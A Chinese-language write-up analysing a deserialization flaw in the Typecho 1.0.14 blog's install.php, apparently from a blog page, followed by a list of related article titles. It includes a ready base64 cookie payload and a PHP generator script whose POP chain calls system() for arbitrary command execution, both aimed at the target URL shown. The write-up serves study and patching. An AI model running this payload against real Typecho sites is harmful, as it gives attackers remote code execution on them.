Typecho是一个基于php5开发的开源博客cms系统,,在v1.0.14版本中存在反序列化漏洞,主要是install目录下的install.php文件内使用了unserialize函数反序列化,而Typecho_Cookie类的get()方法获取的__typecho_config参数存在一些危险可控的操作(调用了魔法函数),并且对__typecho_config参数没有任何过滤,导致可以通过pop利用链注入恶意的反序列化对象,执行任意php代码。

漏洞受影响版本:

Typecho_v1.0.14以下

环境:

php5以上

Typecho_v1.0.14.tar

poc:

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NdoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

开始漏洞分析

通过hackbar工具访问网址http://www.typecho.com/install.php?finish=a ,点击EXECUTE提交poc,如下所示:

提交后,网站返回的是phpinfo执行的页面,说明漏洞利用成功,如下所示:

现在我们分析一下这个漏洞是如何产生的。

根据访问的请求(http://www.typecho.com/install.php?finish=a)定位到install.php文件

install.php源文件首先接收了请求中的finish参数,然后校验了HTTP_REFERER字段,因此提交的请求中HTTP_REFERER字段不能为空。

接着执行了这段代码:

……
<?php if (isset($_GET['finish'])) : ?>
…...
//反序列化
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
//将反序列化后的config传给了Typecho_Db类
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

Typecho_Cookie类获取了__typecho_config参数的内容并进行base64解密,又调用了unserialize函数对__typecho_config反序列化。

找到Typecho_Cookie类,分析Typecho_Cookie类的get方法做了哪些事情

public static function get($key, $default = NULL){$key = self::$_prefix . $key;//获取__typecho_config的内容$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] :    $default);//返回return is_array($value) ? $default : $value;
}

get函数主要是从cookie中获取到__typecho_config的内容并返回,由于cookie是可以更改的,这意味着__typecho_config是可控的。根据之前我们学习反序列化漏洞的原理可知,既然是反序列化操作,并且__typecho_config是可控的,下一步就是分析反序列操作中执行了哪些魔法函数。

反序列化后,config的内容如下:

config数组中的adapter元素其实是Typecho_Feed对象。

然后将反序列化后的config传给了Typecho_Db类,继续分析:

public function __construct($adapterName, $prefix = 'typecho_'){/** 获取适配器名称 */$this->_adapterName = $adapterName;/** 数据库适配器 *///将adapter与字符串进行拼接$adapterName = 'Typecho_Db_Adapter_' . $adapterName;if (!call_user_func(array($adapterName, 'isAvailable'))) {throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");}$this->_prefix = $prefix;/** 初始化内部变量 */$this->_pool = array();$this->_connectedPool = array();$this->_config = array();//实例化适配器对象$this->_adapter = new $adapterName();
}

直接跳转到了Typecho_Db类的定义中,__construct构造函数对传入的参数进行初始化,在第三行代码中将Typecho_Db_Adapter字符串和变量adapterName进行拼接了,值得注意的是:此时adapterName是一个对象,换句话说,当把adapterName对象当作一个字符串进行拼接,那么就会调用该对象的__toString()魔法函数,并且由于adapterName可控,如果将adapterName指向一个类的话,那么就可能造成反序列漏洞。

在当前项目中查找哪些类调用了__toString,并有一些危险的操作,经过一番查找最终找到了Typecho_Feed类的__toString方法中有一个危险的操作:

public function __toString(){……$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;……
}

由于toString方法中的代码过多,这里只贴出部分关键代码,有一行代码访问了$item['author']->screenName 。根据前面的分析可知,$item是Typecho_Feed中的一个属性,$item的数据类型是一个数组并且可控的,那么$item['author']也是可控的,如果将$item['author']指向一个不存在screenName属性的类,那么$item['author']->screenName实际上是访问了一个对象中不存在的属性,这时候就会调用__get()魔法函数。

接下来pop漏洞利用链的方向就是需要找到一个没有screenName属性,并且调用了__get()魔法函数的类,最终找到Typecho_Request类。

这也是为什么提交的poc中要构造Typecho_Request类,继续跟进分析__get()函数

__get()魔法函数内部实际上是调用了get函数,既然参数key是可控的,那么value也是可控的,通过this对象的_params属性来访问screenName的内容,调用了_applyFilter函数。

跟进分析_applyFilter函数:

    private function _applyFilter($value) {if ($this->_filter) {foreach ($this->_filter as $filter) {//回调函数$value = is_array($value) ? array_map($filter, $value) :call_user_func($filter, $value);}$this->_filter = array();}return $value;}

实际上是调用了Typecho_Request类的_applyFilter函数,该函数内部调用了array_map函数和call_user_func函数,并将value和Typecho_Request对象的_filter属性作为参数(这两个参数都是可控的),并且这两个php内置的系统函数会自动为参数调用回调函数,filter是回调函数,value是回调函数的参数。

并且_applyFilter函数内部没有对value和filter做任何的过滤,最终导致漏洞产生。

到这里基本上pop链构造完毕,整个pop利用链流程如下所示:

下一步就是根据pop利用链编写poc代码了,如下所示:

<?php
class Typecho_Feed{const RSS2 = 'RSS 2.0';private $_type;private $_items;public function __construct(){//__toString函数检查$this->_type = self::RSS2;//触发__get函数$_item['author'] = new Typecho_Request();//触发错误$_item['category'] = array(new Typecho_Request());$this->_items[0] = $_item;}}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){//回调函数的参数$this->_params['screenName'] = "dir";//回调函数$this->_filter[0] = "system";}
}$data = new Typecho_Feed();
$poc = array('adapter' => $data,'prefix' => "typecho_"
);//序列化
$s = serialize($poc);
//base64编码
echo base64_encode($s);
?>

将程序生成的poc给__typecho_config,如下所示:

system(“dir”)函数执行把当前路径的文件都显示出来了,漏洞分析完毕。

参考资料:

Typecho-反序列化漏洞学习

[漏洞复现]typecho_v1.0.14反序列化漏洞

16-PHP代码审计——Typecho1.0.14反序列化漏洞相关推荐

  1. thinkphp5.0.24反序列化漏洞分析

    thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...

  2. yii2.0.37反序列化漏洞审计

    源码地址 https://github.com/yiisoft/yii2/releases/tag/2.0.37 一.审计工具 phpstrom2020.1.3 二.审计步骤 1.由于刚刚搭建完成,y ...

  3. TP 5.0.24反序列化漏洞分析

    前言 很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢 虽然这个漏洞的分析文章蛮多了,但是还是跟着 ...

  4. 渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

    漏洞数据库:https://www.exploit-db.com/google-hacking-database 1.渗透测试 实用 浏览器插件 chrome.edge 插件:搜索 cookie,安装 ...

  5. .NET高级代码审计(第三课)Fastjson反序列化漏洞

    0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...

  6. OWASP TOP 10(六)反序列化漏洞(序列化和反序列化、漏洞原理、PHP中的序列化和反序列化、魔术方法、Typecho_v1.0中的反序列化漏洞)

    文章目录 反序列化漏洞 一.概述 1. 序列化和反序列化 2. 序列化的目的 二.PHP中的序列化与反序列化 1. 概述 2. 示例序列化与反序列化 3. 反序列化漏洞 - PHP中的魔术方法 - T ...

  7. ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

  8. 从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

  9. php反序列化漏洞原理,PHP反序列化原理及漏洞解析

    什么是PHP序列化 PHP序列化与反序列化的过程 一个反序列化漏洞的例子 CVE-2016-7124 一. 什么是PHP序列化与反序列化 1. PHP序列化 PHP序列化是指把变量转化成可保存或传输的 ...

最新文章

  1. VSCode 安装 Go 插件、gopls 是个什么东东
  2. [转]HTTP协议详解
  3. 支持向量机(SVM)简介
  4. Java学习总结:21
  5. db2 CLP中如何换行啊
  6. xshell中mysql命令大全_Linux之Xshell脚本代码实例
  7. STM32开发 -- 打开网址测试脚本编写
  8. VCard 通信薄格式说明
  9. __cdecl、__stdcall、__fastcall 与 __pascal 浅析
  10. python中or关键字在变量赋值时的用法
  11. centos mysql 主从_CentOS 搭建 MySql 主从备份
  12. 连接linux常用的工具
  13. git 和gitHup工具笔记的详细教程
  14. 华硕FX63VM笔记本bios如何设置U盘启动
  15. 计算机硬盘空间不足怎么删,Win10硬盘空间不足?教你这样清理,瞬间多出10个G!...
  16. 关于泰勒展开的细节-《三体》读后感的读后感
  17. OpenCV 2 计算机视觉编程手册
  18. python同时赋值_Python将多个变量赋值为同一个值?列表行为
  19. mac osx下载安装java运行环境
  20. 国外优秀 Flex 网站源码模板与实例

热门文章

  1. Freemarker字符串拼接
  2. “字节一年,人间三年!”
  3. 占书明:各主板品牌电脑开机启动快捷键大全
  4. 港大计算机专业世界排名,香港大学优势专业及优势专业排名(QS世界排名)
  5. python:实现二进制转十进制算法(附完整源码)
  6. 中文文本自动校对方法研究综述
  7. linux内存回收(二)--直接内存回收机制
  8. 最小二乘法的无偏估计
  9. 集群(二)——LVS-DR+Keepalived
  10. 清华计算机系软件学院,清华大学软件学院